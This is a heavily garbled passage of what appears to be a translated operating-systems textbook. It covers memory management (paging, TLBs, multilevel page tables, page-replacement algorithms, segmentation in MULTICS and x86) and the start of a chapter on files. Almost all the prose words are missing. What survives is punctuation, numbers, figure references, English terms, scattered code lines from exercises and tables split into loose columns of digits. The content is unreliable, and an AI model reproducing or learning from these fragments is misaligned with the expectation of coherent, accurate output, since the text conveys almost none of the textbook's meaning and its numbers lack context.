( , ).
. .
.
0000000 9999999,
, , 000, .
, ,
.
- x86 0 16 383. IPv4
32- , 0
232 1 (- ).
. - .com .
2 63 , ,
, .com.
, .
,
, 28 ,
28 . ,
, ( )
.
.
. , CDC 6600 ( ) Intel 8088
( IBM PC),
, .
(. . 3.2, ).
,
220
3.
, .
. 3.2, ,
, 0 16 384. 16 384 32 768 . ,
16 ,
32 768 16 384 .
, , .
, ( ). (.
. 3.2, ),
JMP 28
JMP 16412
, , CMP. . 3.2,
. 3.3.
. 3.3.
3.2. :
221
.
,
. CDC 6600, Intel 8088, .
, , ,
, -
.
. ,
-
, , , .
3.2.2.
,
.
,
, .
Windows-, OS X- Linux-
50100 . , Windows
, ,
. 510 . ,
. ,
.
Photoshop 500 , . ,
.
. , ,
, ,
. (
, ,
). ,
,
. , .
. 3.4. A.
B C. . 3.4, A
. D B. ,
A. A
222
3.
, ,
, ( )
. ,
.
. 3.4.
( )
,
. .
,
. , , 16 ,
8 8 , 16 .
,
.
3.2. :
223
, :
, .
, , , ,
.
,
. ,
, , , ,
,
, . ,
, ( ).
, , , ,
, , , .
,
. . 3.5,
, .
. 3.5. : ;
, ,
-
224
3.
, ,
(. 3.5, ).
,
, ,
, . . ,
( ) ,
,
.
3.2.3.
, . , : .
. 10 buddy
slab, Linux, .
.
, 0, , 1,
( ). . 3.6
.
.
, .
, 4 , 32 1
. , 32n , n ,
. 3.6. ,
:
( 0 ) ;
;
3.2. :
225
, 1/32 .
, ,
, ,
.
, . ,
, k ,
. ( ), .
, ,
. , . 3.6, , . 3.6, , .
, hole (H)
process (P), , ,
.
. ,
. ,
, ( ,
). ,
, , . 3.7.
. 3.7, P H. . 3.7,
, . . 3.7, , .
, , , , , ,
, . 3.6, ,
. .
. 3.7. X
226
3.
, (
, )
. , ,
. .
,
. :
,
, .
, .
. , , , ,
.
, ,
, . , (Bays,
1977), , ,
.
. , , .
, ,
, ,
.
. 3.6. , ,
, ,
5, , , 18.
, , . ,
, ,
, .
.
, ,
, ,
. ,
.
3.3.
227
.
, .
, .
,
.
, ,
, , ,
. , ,
, . , ,
, .
, .
, . 3.6, ,
.
,
. ,
. 3.6, , (P/H), .
.
. ,
n ,
4 , 8 , 12
. . , , 21
20 ,
.
,
, , ,
,
, , . ,
,
.
3.3.
, :
.
228
3.
, , ,
. 1980- VAX, 4 , , ( ) .
Microsoft 2
64- Windows 8.
.
,
, , ,
,
. ,
SATA
, , 1
, 1 .
, ,
, , ,
(
). 1960-
, .
,
0. ,
1
0, ( ),
0 ( ). ,
. , .
,
.
, .
. ,
, .
(Fotheringham, 1961) .
, , , .
.
, .
, , .
, ,
,
.
3.3.
229
. 8088 ( ) .
.
.
,
.
- ,
.
3.3.1.
(paging), .
.
MOV REG,1000
1000 REG
( , ). , ,
.
, . , ,
,
.
. (Memory Management Unit (MMU)),
(. 3.8).
. 3.9. , 16- , 0 64K 1.
. 32 .
64 ,
. , 64 ,
, .
, .
. , , . 4 , 512 1 . 64
32
16 8 . .
230
3.
. 3.8. .
, .
,
,
. , x86-64
4 , 2 1 , 4 ,
1 .
, , .
. 3.9 . , 0K4K, ,
0 4095. 4K8K 4096 8191 . .
4096 , , 4096,
, 4096.
, 0,
MOV REG,0
0. , 0 ( 0 4095),
2 ( 8192 12 287). ,
8192, .
8192, .
0 4095
8192 12 287.
MOV REG,8192
MOV REG,24576
8192 ( 2)
24 576 ( 6).
20 500 20 5 (
20 480 24 575) 12 288 + 20 = 12 308.
3.3.
231
. 3.9. ,
. , 4096,
4095 , 4K8K
40968191, 8K12K 819212 287
16 8
.
8 ,
8 (. 3.9).
, , .
-.
, , ,
MOV REG,32780
12 8 (
32 768)? , (
),
.
(page fault). ( ).
( ) , ,
,
.
232
3.
, 1, 8 4096
. 1
, ,
4096 8191
. , 8, 1,
32 780 4108 (4096 + 12).
, ,
, 2. . 3.10
8196 (0010000000000100 ),
. 3.9.
16- 4- 12-
. 4 , 16 , 12 4096 .
, .
. 3.10.
16 4
3.3.
233
- 0, .
1, ,
3 12- ,
.
15- .
.
3.3.2.
:
( ) ( ). , 16-
4 4 16
, 12 ( 0 4095)
. 3, 5, -
.
.
, .
( ).
,
, ,
.
, .
, ,
.
, .
, .
, . 7 ,
,
,
, . ,
.
. ,
. . 3.11 .
, 32 .
(Page frame number).
.
-. 1,
. 0, ,
234
3.
, . ,
0, .
, .
1 0 - 1
. 3 ,
, .
.
, . ,
. (
), . ( ), ,
.
, .
. 3.11.
, . . , ,
, ,
,
.
, . , ,
. - , ,
,
, . .
, -
- , .
, , , . .
, ,
. , ,
. .
,
,
3.3.
235
,
(). -
() .
, , ,
.
3.3.3.
, .
.
1. .
2. ,
.
, . , ,
. ,
, .
, , 1 , ,
, 0,2 .
,
32- ,
64- . , , 4 32- 1 , 64-
, .
1
1 . ,
(
).
.
( , ) ,
,
, (. . 3.10).
, ,
.
.
- .
,
.
,
.
236
3.
,
.
, .
. , , ,
,
.
,
,
. .
. ,
, , .
.
.
,
,
.
.
, ,
, . , .
.
,
(Translation Lookaside Buffer (TLB)),
, . 3.1.
. 8,
64.
, , ,
, ( , )
, .
,
, . ( ).
, TLB, . 3.1, , 19, 20 21,
TLB , . ,
(, ),
129 130. 140 , , . , 860 861.
3.3.
237
3.1. ,
1
1
1
1
1
1
1
1
140
20
130
129
19
21
860
861
1
0
1
1
0
0
1
1
RW
RX
RW
RW
RX
RX
RW
RW
31
38
29
62
50
45
14
75
TLB. , ,
TLB, ( )
. , TLB-.
,
TLB, .
TLB, ,
, .
, ,
TLB. . TLB,
. ,
, TLB. TLB, ,
. , , .
TLB , .
TLB
,
, , TLB. TLB TLB- . ,
, , .
.
RISC-, SPARC, MIPS (
) HP PA, . TLB
. TLB , ,
, TLB-
. , TLB,
, . , -
238
3.
,
TLB , .
, TLB (, 64 )
.
,
, .
TLB Uhlig et al., 1994.
,
TLB, .
TLB,
(Bala et al., 1994).
TLB
, , ,
, TLB. , ,
, .
, (send), ,
, , ,
TLB.
TLB
. , , ,
TLB, TLB- .
(, 4 ) TLB
, TLB.
TLB-.
TLB . , , , TLB,
. TLB - .
1020 . , (, , TLB).
,
. , .
(page table walk).
. .
3.3.
239
( )
. ,
, , ,
. . -,
,
. , .
. , (minor page
fault). -, ,
. -, ,
TLB .
. - .
/
.
3.3.4.
TLB . .
. ,
.
, . 3.12. ( )
32- , 10- PT1, 10-
PT2 12- . 12 , 4 220.
. ,
, . , ,
12 : 4 ,
4 4 .
.
. 3.12, , . , 1024 ,
10- PT1.
, PT1 . 1024
4 , 4- (
32-)
4096 .
240
3.
. 3.12. : 32-
;
, ,
. 0
, 1 , 1023
. () . PT2
,
.
32- 0x00403004
(4 206 596 ), 12 292-
. PT1 = 1, PT2 = 2
4. PT1 -
3.3.
241
1, 4
8 1. PT2
, 3,
12 288 16 383 4 (
4 206 592 4 210 687). , 0x00403004.
, -
, .
, ,
, (4)
. .
. 3.12 .
,
:
0 4 1 ( ), 4 8 1 ( )
4 ( ). - 1021 ,
.
, ,
, , .
PT1,
PT2, , , .
, . 3.12, , , .
. , 32- Intel 80386 ( 1985 ) 4 , , ,
, , ,
4 . , 1024
, , , 210 210 212 = 232 .
10 Pentium Pro : . ,
32 64 ,
4- .
4 , 512
512 , - 4 .
x86 64- (
AMD),
.
. , .
4 (page
map level 4) , , .
, 512 ,
29 29 29 29 212 = 248 .
, , , , 256 .
242
3.
.
, PowerPC, UltraSPARC Itanium ( Itanic,
, Intel,
).
, . , 64- ,
4 4
1 048 576 . , (, ).
, ,
, :
. n
p,
, p .
(n, p) .
, ,
. 256 K
.
TLB.
, ,
. TLB
.
-, .
. 3.13 ,
. 3.13.
3.4.
243
, -, .
- , ,
, . , TLB
(, ).
64-
,
. ,
4 64- 242 .
(Talluri et al., 1995).
3.4.
( ) ,
.
, ,
. (, ),
.
.
, ,
. , , .
, . .
, . ,
, 32- 64-
. .
,
( , ,
). ,
.
-. -.
,
- . ,
, , -,
, ,
. , , ,
, , .
244
3.
: ,
, , , , ?
,
. , .
3.4.1.
, . .
.
( ).
10, 100 , , 1000 .
,
.
, , . -
8 , -
6 ,
,
. , ,
.
.
, , , . ( ,
, ,
, ?)
, ,
.
.
, , 1 % , , ,
, 1 % .
, , , ,
. ,
. , .
,
.
3.4.
245
3.4.2.
, ,
, , R M, . R
( ). M
, ( ).
, . 3.11, .
, ,
, .
1 , .
,
. . , . R (
), ,
, (READ ONLY), . ,
, M
- (READ/WRITE).
R M . 0. (,
) R , ,
, , .
R M
:
1. 0: , .
2. 1: , .
3. 2: , .
4. 3: , .
1 ,
, 3 R .
M, , , , ,
. R M 1.
(Not Recently Used
(NRU)) ,
. , , ,
( 20 ), -
246
3.
. NRU ,
, , , , , .
3.4.3. ,
FIFO (First
In, First Out , ). ,
,
k . -
, , .
, , .
, , ( -,
) ,
. ,
, .
, .
. , ,
,
. ,
, . FIFO
, , .
:
. FIFO .
3.4.4.
FIFO,
, R .
, , , ,
. R 1, , ,
. .
, , . 3.14.
A H
.
, 20.
A,
0. R A ,
( ), ( ). R , A
(20). R.
B.
3.4.
247
. 3.14. : , FIFO;
, 20
R; ,
,
.
,
FIFO. , , . 3.14,
R .
, R .
A, R .
A . , .
3.4.5.
, .
(. 3.15).
.
. 3.15.
248
3.
,
. R 0, ,
. R 1,
. ,
R = 0. , .
3.4.6.
,
, , ,
, . ,
. :
, .
(Least Recently Used (LRU)).
LRU , .
, .
, . ,
. ,
,
( , ).
LRU . .
64- C,
.
,
. C , ,
.
, .
, , .
3.4.7. LRU
LRU , . ,
, . (Not Frequently
Used (NFU)).
, .
.
R, 0 1.
.
3.4.
249
,
.
NFU ,
: . , , ,
.
, ,
, ,
, , .
,
.
, NFU
LRU. . -, R .
-, R , .
. 3.16 , , . , R
0- 5- 1, 0, 1, 0, 1 1 ( 0
1, 1 0, 2 1 . .). , , 0 1,
0, 2, 4 5, R 1,
0. R, ,
. 3.16, .
.
. 3.16. LRU.
,
250
3.
,
. , ,
, , , ,
, ,
.
LRU . 3 5 . 3.16, .
, , . LRU,
, . ,
, 1 2.
. ,
, 3, 5
, 3 .
LRU ,
( 8 ), . ,
. , , .
, 9
, 1000 . .
8 , 20 . 160 , ,
, .
3.4.8.
, .
, , , .
.
, . (demand
paging), , .
, , ,
, . ,
. , ,
. ,
, .
, ,
(Denning, 1968; Denning, 1980). ,
, ,
3.4.
251
(, ). ,
,
,
10 .
10 , . ,
, , (Denning, 1968).
(
), . :
, ?
. ,
. ,
,
,
.
,
.
(Denning, 1970).
. , , (prepaging).
, .
, :
. . t ,
, k . ,
w(k, t), .
k > 1 ,
(k = 1)- , , , , w(k, t) k.
k w(k, t) ,
, ,
. . 3.17 , k.
, , ,
, , k, . , , , , ,
1000 ,
1 ,
. k.
252
3.
. 3.17. , k
. w(k, t) t
, k,
. ,
,
, ,
.
.
,
, .
:
,
. , .
, k
( k
, ).
k .
, k .
,
.
, k,
,
. k .
. .
.
, .
. k
. ,
, 10 -
3.4.
253
, ,
100 .
. , . , T
40 T + 100 , 40 . ,
,
. ,
t .
, .
, ,
, . . 3.18 , . , , , ,
. ( )
: () R (Referenced ).
, ,
, M (Modified).
. 3.18.
. , ,
, R M. , , R.
, .
R.
1, -
254
3.
, , .
, ,
(, t
).
R 0, ,
. ,
, ( ), t.
t,
. , .
R 0, t, . , ( )
.
, , .
, R = 0, , .
( R = 1),
,
, .
3.4.9. WSClock
,
. , ,
, WSClock (Carr and Hennessey, 1981).
.
,
. 3.19, . .
.
, . ,
R ( ) M ( ).
, , . R 1, , ,
. R 0,
, . ,
, . 3.19, .
, , , ,
R = 0 (. 3.19, ). t -
3.4.
255
. 3.19. WSClock: , , R = 1;
, , R = 0
, .
(. 3.19, ). , ,
. ,
,
. , , .
,
- .
256
3.
,
n .
.
, ?
.
1. .
2. .
,
. , ,
. .
,
, .
,
.
, , . . ,
, .
3.4.10.
.
. . 3.2.
3.2.
,
NRU (Not Recently Used) -
LRU
FIFO (First In, First Out)
,
FIFO
LRU (Least Recently Used) ,
NFU (Not Frequently Used)
LRU
,
LRU
WSClock
3.5.
257
. , , , .
.
(NRU)
R M.
. ,
. .
FIFO , , .
, -
, FIFO .
FIFO
, .
, . . . ,
.
LRU ,
. ,
. NFU
LRU. .
LRU, .
. ,
. WSClock , , .
WSClock. LRU .
. , ,
, .
3.5.
, ,
.
.
. , , . ,
,
.
258
3.
3.5.1.
.
, ( ):
?
. 3.20, . : A, B C,
. , A .
, , A, ,
? , A, A5,
, . 3.20, .
. 3.20. :
; ;
,
, , B3, , . 3.20, . , . 3.20, ,
, , . 3.20, , .
. .
, .
3.5.
259
, . , ,
. ,
.
, ,
. , ,
.
,
.
.
. ,
12 416 ( )
10 1241 .
.
,
10 300 .
, 300 30 ,
10 . , -
, , .
,
, :
, - -.
, , .
, ,
.
(Page Fault Frequency
(PFF)). , , ,
.
.
, , LRU, , , .
PFF. . 3.21.
, .
. , A,
260
3.
. 3.21.
, , , ,
, .
, B, , ,
. .
PFF
.
,
, . , FIFO ( )
, ( ).
LRU ( )
, ( ). ,
.
. , WSClock
. ,
,
.
3.5.2.
.
,
.
PFF, , , .
,
.
.
3.5.
261
. , ,
.
,
. ,
, . ,
,
,
.
, , , , . ,
, ,
. -
, - .
, , .
,
.
, ,
-, ,
.
3.5.3.
, . , ,
4096 , 0 1,
2 3, 4 5 . . 8 , 8192 .
. ,
. ,
. , .
. . . n ,
p , np/2 .
.
, , 4 .
32 32 .
16 16 . 4 4 .
262
3.
,
, .
,
,
. 32 4
8 , 64 512 . , , ,
,
, . 64 512 64 10 ,
8 4 12 .
,
TLB. , 1 64 . 4
16 TLB. 2
TLB ( ). - TLB- , ,
. ,
. ,
.
( )
.
,
. , , .
.
s , p .
, e .
, , s/p,
se/p . -
p/2.
,
:
= se/p + p/2.
( ) . ( )
.
- . p
,
se/p2 + 1/2 = 0.
, ( ).
:
3.5.
263
s = 1 e = 8 4 .
512 64 . 1 ,
4 .
3.5.4.
, ,
. 3.22, , . .
, - ,
.
. 3.22. : ;
(I) (D)
, PDP-11,
(
) , I- D- (. 3.22, ). 0 ,
216 1 232 1. , I- D-,
0, .
.
. , , I- I-.
D-.
, I- D-
.
, , , .
264
3.
I- D- . ,
L1, .
3.5.5.
. . , .
,
.
, . ,
, , , ,
.
I- D-, , I-,
D-. , , , . ,
. 3.23, :
I-, D-.
,
(MMU). (
) I- D-,
.
, . , , A B, .
A ,
- , ,
B
.
A ,
, . , , ,
,
( ), .
,
, . , UNIX
fork , .
3.5.
265
. 3.23. , ,
.
, fork .
READ ONLY.
, ,
. - ,
. ,
.
- READ-WRITE,
. ,
, ( ),
. ,
. ,
(copy on write),
.
3.5.6.
.
, ,
. , .
266
3.
. , ,
, .
, , - .
, .
() , Windows
(Dynamic Link Libraries (DLL)). , .
, , , , , UNIX
ld *.o lc lm
.o (object),
, , /usr/lib/libc.a /usr/lib/libm.a.
, , (, printf), . ,
. ,
. , printf
write, , write ,
, , .
, , ,
. ,
. ,
.
, 2050 , .
, ,
, ,
. .
( ),
-, .
,
. ,
,
. , .
, , ,
, .
3.5.
267
: ,
, , , , .
.
, .
, Microsoft ,
DLL, Windows Update DLL ,
, DLL,
.
, . . 3.24.
, 20 (,
4 ). , -,
. 1 , 36 ; 2
12 . , ,
, 16.
, , ( 1) 36 + 16.
, , , ,
MMU.
,
. ,
. 3.24. ,
2 ( 12 ),
12 + 16, 36 + 16. .
, ,
. , ,
.
268
3.
, , . , . ,
, ( ) n
( , ).
.
. ,
, .
3.5.7.
, . ,
-
. ,
,
. ,
.
-.
, .
.
,
. , , ,
, . ,
, ,
( ).
,
.
3.5.8.
,
. , , ,
.
, , ,
, , .
, ,
3.5.
269
- .
, .
. ,
, .
,
. ,
, ,
.
. .
,
. ,
. ,
.
, .
3.5.9.
,
, , ,
( )
. ,
, .
.
, .
,
,
. ( )
,
: ,
.
(De Bruijn, 2011).
. , ,
. ,
( ),
, .
, .
(Feeley et al., 1995; Li, 1986; Li and Hudak, 1989; Zekauskas
270
3.
et al., 1994). , , ,
, ,
. ,
, .
, ,
, ,
. , , , .
8.
3.6.
-
, ,
, , , .
.
.
3.6.1.
, ,
: , , .
, ,
.
, ()
, .
, .
,
. , , .
,
,
.
, . ,
.
, (MMU)
,
(TLB) , . .
3.6.
271
-
( ). ,
(,
, , ).
, ,
. , , . , , , -
. .
, , , , .
, , , .
, ,
.
3.6.2.
- , .
:
1. ,
.
.
2. ,
,
. .
3. , ,
, .
.
,
, ,
, .
4. , ,
. .
, , .
, ,
.
5. ,
,
, , -
272
3.
, .
, .
6. ( ,
), ,
, ,
. , , ,
, .
7. , ,
, ,
.
8. , , , , ,
.
9. , , , ,
.
10. , ,
.
3.6.3.
, , ,
, ,
.
, .
, .
,
, , Motorola 680x0,
. , , . 3.25 6
MOV.L #6(A1),2(A0)
, , .
, , ,
.
. 3.25. ,
3.6.
273
. 3.25 , 1000,
: .
, ,
1000, 1002
1004. ,
. 1002,
, 1002 ,
1000 ( , ),
, .
. 680x0 , ,
, .
, , .
,
.
,
. , .
,
,
.
, , ,
.
, , .
,
, , . , - , , .
, ,
. .
3.6.4.
- , , , , - . - . , -
, .
- ,
. .
, , , , -,
. - (DMA)
274
3.
, , ,
,
. ,
-, .
(pinning) . -
.
3.6.5.
, ,
, ,
. ,
.
() ,
, (
-).
UNIX-. , .
.
. ,
, .
, .
. .
10.
,
, .
. :
. ,
. ,
.
.
: . ,
, . ,
,
.
- ,
. .
3.6.
275
,
. . 3.26.
. 3.26. : ;
. 3.26, . 0, 3, 4 6
, 1, 2, 5 7 . (
), ,
.
, , , . ,
, ( ),
, .
. 3.26, . , ,
( ) , ,
,
() .
, . 3.26, .
(
).
. ,
, .
.
, .
276
3.
. Windows.
. -
, ,
. , ,
, ,
.
.
3.6.6.
, , .
. Mach
(Young et al., 1987), .
, ,
. 3.27. :
(MMU);
, ;
, .
. 3.27.
MMU ,
, .
. -
3.7.
277
,
.
,
.
, .
, . , ,
, .
. ,
.
MMU
. .
,
. , , ,
. , R
M ,
. , -
,
.
, , ,
, . .
.
, . ,
, , , -
.
3.7.
,
0 .
,
. , , , :
278
3.
, ( );
, ;
, , , ;
, ;
, .
. .
, . 3.28.
. 3.28.
, , , ,
, .
, ,
, .
, .
, .
0
. 0
. , -
3.7.
279
. , .
.
, , .
, ,
, ,
, . ,
, ,
. , , ,
, :
. . 3.29 , .
.
. 3.29.
, .
. ,
, , ,
.
. , 0 , .
,
, , n ,
(n, 0) 0 ( ).
280
3.
n ,
(
), . , . ,
( )
. , , , , .
,
.
. . ,
, , .
, . ,
, . ,
.
,
, , ,
. , - .
, ,
. .
. 3.3.
3.3.
, ?
?
?
?
, ?
?
3.7.
281
3.7.1.
: , .
. 3.30, , .
, , 1 ,
7. ,
. 3.30, . 7 2 , .
4 5 (. 3.30, ), 3 6 (. 3.30, ).
. 3.30. : ;
- ,
, , . ,
, , . (. 3.30, ).
3.7.2. :
MULTICS
. -
282
3.
, ,
.
. ,
MULTICS. Intel x86
x86-64.
MULTICS -
, - , UNIX, x86, TLB-
. M.I.T.,
1969 . MULTICS-,
31 , 2000-. . Windows, Windows 8
Windows 1.0, ,
Microsoft.
, , MULTICS, , 1965 ,
(Corbat Vyssotsky, 1965).
MULTICS . MULTICS
www.multicians.org.
MULTICS Honeywell 6000
218 ,
65 536 (36-) . , MULTICS
,
(
, )
( , , ).
MULTICS ,
. ,
.
, . -
, , . ,
(. 3.31, ) 18- .
24- ,
64- (, 6
000000),
18 . ,
. MULTICS . 3.31, .
,
, .
, ,
. 1024
3.7.
283
. 3.31. MULTICS:
; .
( ,
MULTICS,
64 ).
MULTICS : . , ,
(. 3.32).
, :
1. .
2. , .
, .
284
3.
, .
( ).
3. .
, .
,
.
4. ,
, .
5. , .
. 3.33. , ,
. : ( ),
,
.
, (. 3.33).
. 3.33. MULTICS
3.7.
285
, , ,
,
.
MULTICS (TLB)
16 , . . 3.34.
,
TLB. ,
TLB ,
, .
16 ,
. ,
TLB, TLB, ,
, TLB.
3.7.3. :
Intel x86
x86-64 x86 MULTICS, , . MULTICS 256 K ,
64 36- , x86 16 K ,
1 32- . ,
, ,
1000 , , . x86-64,
, .
x86-64 , ,
286
3.
. x86-32
,
.
x86 :
(Local Descriptor Table (LDT))
(Global Descriptor Table (GDT)). LDT,
,
, . LDT , , , , . ., GDT
, .
, , x86, .
CS ,
DS . (. 3.35) 16- .
. 3.35. Pentium
, ( ,
). 13 , 8
. 2
. 0 .
, , .
.
, ,
, .
. 3.36, 8 , ,
.
,
. 2
.
, 0. ,
, LDT GDT,
. , 72 9
, GDT + 72.
, (, )
. ,
3.7.
287
. 3.36. Pentium.
, , . ( 0)
, .
Limit, , , .
, 32-
, 20 , . Gbit
(Granularity ) 0, Limit
1 . 1, Limit
, . , 4 , 20
232 .
, ,
x86 32- Base () , , (. 3.37). Base
,
Intel 80286, Base 24 . , Base
32-
.
. 3.37.
288
3.
( ),
. ,
,
. ,
, -
, .
, ,
, .
, 32-
4 1 ,
.
, 1024 32- . , .
, 1024
32- . , , . . 3.38.
. 3.38.
, : , . ,
. -
3.7.
289
,
. , ,
.
32 , 20
.
, ,
.
1024
4 , , 4 . , 4 ,
. ,
1 , .
, x86, MULTICS,
(TLB),
. , . 3.38, TLB,
. TLB
, .
, ,
, ,
32- .
, Base = 0,
Limit .
,
. x86.
OS/2,
(MMU) Intel.
Intel ,
MULTICS, ? , , UNIX, Windows
, ,
. UNIX- Windows-
x86,
. , Intel
64- .
, - x86.
: ,
286- , , ,
.
290
3.
3.8.
, , -
, , , ,
, , ,
(Moruz et al., 2012) , , (Stoica and Ailamaki, 2013).
,
(Chen et al., 2012).
(Lee et al., 2013), (Saito and Oikawa, 2012)
(Bheda et al., 2011, 2012).
, . ,
(Bugnion et al., 2012). Jantz
et al. (2013), .
,
- ,
(Peserico, 2013).
(Boyd-Wickizer et al., 2008, Baumann et al., 2009).
, (Lopez-Ortiz and Salinger, 2012).
NUMA-, (Dashti et al., 2013; Lankes et al., 2012).
, ,
, -. Joo et al. (2012).
, - (Kato et al., 2011).
3.9.
. ,
. , , .
, .
.
291
.
, . , ,
.
.
.
, , . , WSClock.
,
,
, ,
.
,
,
. . ,
.
, MULTICS 32- Intel x86.
,
( ). ,
, . 64- x86.
1. IBM 360 2 ,
4-
4- . , .
2. , . 3.3,
16 384. , -, ? ,
?
3. , ,
. , 32- 4 . ()
4 ? , , 0
, .
4. , , : 10 , 4 , 20 , 18 ,
7 , 9 , 12 15 .
:
292
3.
a) 12 ;
) 10 ;
) 9
? , .
5. ?
6.
4
8 : 20 000, 32 768, 60 000.
7. , . 3.9, ,
:
) 20;
) 4100;
) 8300.
8. Intel 8086
. ,
8086 . , .
: , (MMU).
9. ,
?
10. ,
. - ?
11. C:
int X[N];
int step = M; // M
for (int i = 0; i < N; i += step) X[i] = X[i] + 1;
) M N (TLB) ,
4 TLB
64 ?
) , ?
.
12. ,
, n,
v r.
.
?
13. 1 ,
n , ,
k .
293
14. 32-
8 . ,
32- .
,
100 .
, 100 (
)?
15. , 48- 32-
.
) 4 , , ? .
) ,
TLB, 32 . ,
, ,
,
. TLB ?
16. :
) TLB 1024 1
(1 ).
) 100 ,
100 .
) 6 .
17. TLB 99 %
0,01 % , ?
18. , 38-
32- .
) ?
)
, 16 4 ?
.
19. 3.3.4 , Pentium Pro 64 , -
4 . , ,
64 ?
20. 32- .
9- , 11- .
?
21. 32-
4 . (04095).
.
294
3.
, () ?
, 10 ?
22.
512- . 1020,
8192 ( 0).
, .
4 (1 ), . ,
, , .
6144 0.
0 .
5120 .
16 .
4.
5152.
23. , 1024 , .
5 . , (TLB), 32 (
, ), 1 .
,
2 ?
24. , TLB,
?
25. 48- 32- . 8 .
?
26. 8 , 256
64 .
-,
- 1? , -
2.
27. , ,
, ,
. ? ?
- , ?
28. , ,
. ,
: 0, 1, ... , 511, 431, 0, 1, ... , 511, 332, 0, 1...
295
0, 1, ... , 511,
431 332.
) (LRU, FIFO, )
, , ?
) 500 , , , LRU, FIFO .
29. FIFO,
0172327103 ,
?
LRU.
30. , . 3.14, . , R B A 11011011.
?
31. - .
R 0111 ( 0 R 0, 1). R
1011, 1010, 1101, 0010, 1010, 1100 0001.
,
8- .
32. ,
, , LRU. ,
0, 1, 2, 3.
33. WSClock (. . 3.19, )
R = 0. , t = 400? ,
t = 1000?
34. , WSClock t,
, :
0
1
2
3
4
6
9
9
7
4
1
1
1
1
0
0
1
1
0
0
1
0
1
0
0
, V, R M, Valid (),
Referenced ( ) Modified ().
) , 10 . . (, , .)
) , 10 , 4.
296
3.
. . (, , .)
35. ,
(FIFO, LRU, ) , , .
) FIFO? LRU? ?
) .
36. 64 , 5 , 5 ,
1 :
) 2 ;
) 4 ?
,
, ,
.
37. . , R M (
).
126
280
230
265
140
270
110
285
:
) NRU;
) FIFO;
) LRU;
) ?
38. , , , , . ,
,
.
)
,
? .
) ?
39. :
int X[64][64];
297
, 128 (
). , X,
0. .
X ( X[0][1]
X[0][0]).
?
.
:
for (int j = 0; j < 64; j++)
for (int i = 0; i < 64; i++) X[i][j] = 0;
:
for (int i = 0; i < 64; i++)
for (int j = 0; j < 64; j++) X[i][j] = 0;
40. , . ,
, .
) ?
) ? ?
41. , PDP-1 DEC,
4 18- .
.
,
4 18- .
,
. , ?
42. 65 536 , 4096 .
32 768 , 16 386 , 15 870 .
?
4096, 512 , ?
, , ,
.
43. , ,
, .
. , 1 , , 2001 ( 2 ).
60 15 000
,
?
44. Frugal Computer Company ,
298
3.
.
, . ,
?
, ?
45. , 32-
, 32- .
?
46. .
? , ?
47. , ,
MULTICS, , .
(TLB)?
48. , : 0 ,
, 1. 0 ,
, 1 , .
, 4-
10- . ( ).
0
0
1
2
3
4
5
6
7
2
11
5
4
3
0
1
2
3
4
5
6
7
14
9
6
13
8
12
()
, ,
(
, ):
) 1, 1, 3;
) 0, 0, 16;
) 1, 4, 28;
) 1, 3, 32.
299
49. ,
? ? .
50. . ,
?
?
51.
. Windows .exe .dll, UNIX
/bin, /usr/bin /local/bin, (
file, ).
, . ,
.
52. , . .
.
,
1000
.
53. , , WSClock. ,
(
), (
). :
;
,
;
, .
) .
) , ( )
.
) ,
1000 .
) ,
, .
54. ,
TLB ,
, .
) , , ,
- .
300
3.
) ,
.
) , ,
.
55. , . ,
. N
, 0 N 1, , p1, i, ,
.
.
) , - N.
) , .
.
)
.
) , , .
, .
56. , TLB,
.
. , TLB
, TLB
. :
TLB;
,
;
, (, );
TLB- entry.
) .
) , ( )
.
) , TLB
1000 .
4.
.
. . ,
, ,
, .
, , , . (, )
, .
. ,
.
, - ( )
.
,
.
.
, :
1. .
2. .
3. .
. ,
.
.
, , .
5,
,
:
k;
k.
302
4.
, , , .
, , , , (,
). :
?
?
, ?
.
,
, ,
, , .
( ), , .
, ,
.
, .
.
, , ,
, .
, , .
, , ,
.
, .
, ,
.
. , , ,
, , . ,
, , .
, , ,
, . . ,
, ,
, , . .
.
. ,
.
4.1.
303
4.1.
,
, .
4.1.1.
.
,
.
, ,
, . ,
. , ,
.
,
.
andrea, bruce cathy.
, , 2, urgent!
Fig.2-14. 255 .
, . UNIX ,
MS-DOS . (, MS-DOS
,
.) UNIX maria,
Maria MARIA . MS-DOS
.
, , .
, Windows 95 Windows 98,
MS-DOS FAT-16, ,
, , . Windows 98
FAT-16, FAT-32, . Windows NT, Windows 2000, Windows XP, Windows
Vista, Windows 7 Windows 8 - FAT,
.
NTFS,
( ,
Unicode). Windows 8 ,
ReFS ( Resilient File System ),
. MS-DOS
FAT , , FAT-16
FAT-32, Windows.
FAT, NTFS 12, Windows 8. , FAT- ,
exFAT. Microsoft FAT-32, -
304
4.
- . ExFAT
Microsoft,
OS X .
,
, , , , prog.c. ,
, , , . , MS-DOS 18 () , 13 . UNIX
,
, homepage.html.zip, .html
- HTML, .zip , (homepage.html)
. . 4.1.
4.1.
.bak
.c
.gif
GIF
.hlp
.html
HTML
.jpg
JPEG
.mp3
MPEG layer 3
.mpg
MPEG
.o
( ,
)
.ps
PostScript
.tex
TEX
.txt
.zip
, zip
(, UNIX)
. file.txt ,
, .
C ,
.c, ,
. .
,
. , C
, ,
C,
.
.
4.1.
305
Windows, ,
. ( ) , ,
. ,
, . , file.docx Microsoft Word,
file.docx .
4.1.2.
. . 4.1. . 4.1, . ,
, , . -
.
UNIX, Windows.
. 4.1. : ; ;
, , .
, , , .
, .
,
- . UNIX
( Linux OS X) Windows.
. 4.1, .
,
. ,
, . -
306
4.
, ,
80 ,
,
80- , , . , 132- , (
, 132 ).
80 , 132 ,
52 .
, , 80- 132-
, ,
.
. 4.2, .
, ,
.
, .
, , .
(. . 4.1, ) , ,
, . ,
, , , , . ,
, UNIX Windows,
,
.
4.1.3.
. ,
UNIX ( OS X) Windows . UNIX .
, .
. 4.1 . ,
. .
- -, ,
.
. .
, ASCII, .
ASCII- . .
. (, Windows) .
.
ASCII- ,
. , ASCII-
4.1.
307
,
, . (
, , , , ASCII.)
,
ASCII-. .
, .
, . 4.2, ,
UNIX. ,
, .
: , , , .
,
( ,
).
, , , -.
. .
.
, UNIX (.
. 4.2, ). , (). ,
, , , .
, . .
,
. TOPS-20 ( DECsystem 20)
. ,
. ,
. UNIX ,
make . , ,
.
,
- . , , , .dat ( ).
, .c ( C), (,
),
, .dat.
C, ,
, . file.
dat file.c (
).
308
4.
. 4.2. : ;
, , , ,
, .
4.1.4.
.
, ,
.
, . ,
, .
,
, . ,
4.1.
309
, . .
,
.
, , , , .
.
, ,
read. seek.
. UNIX Windows.
4.1.5.
. ,
.
. .
. . 4.2
, . ,
- .
,
, . ,
.
, .
,
.
, . , ,
. .
, .
.
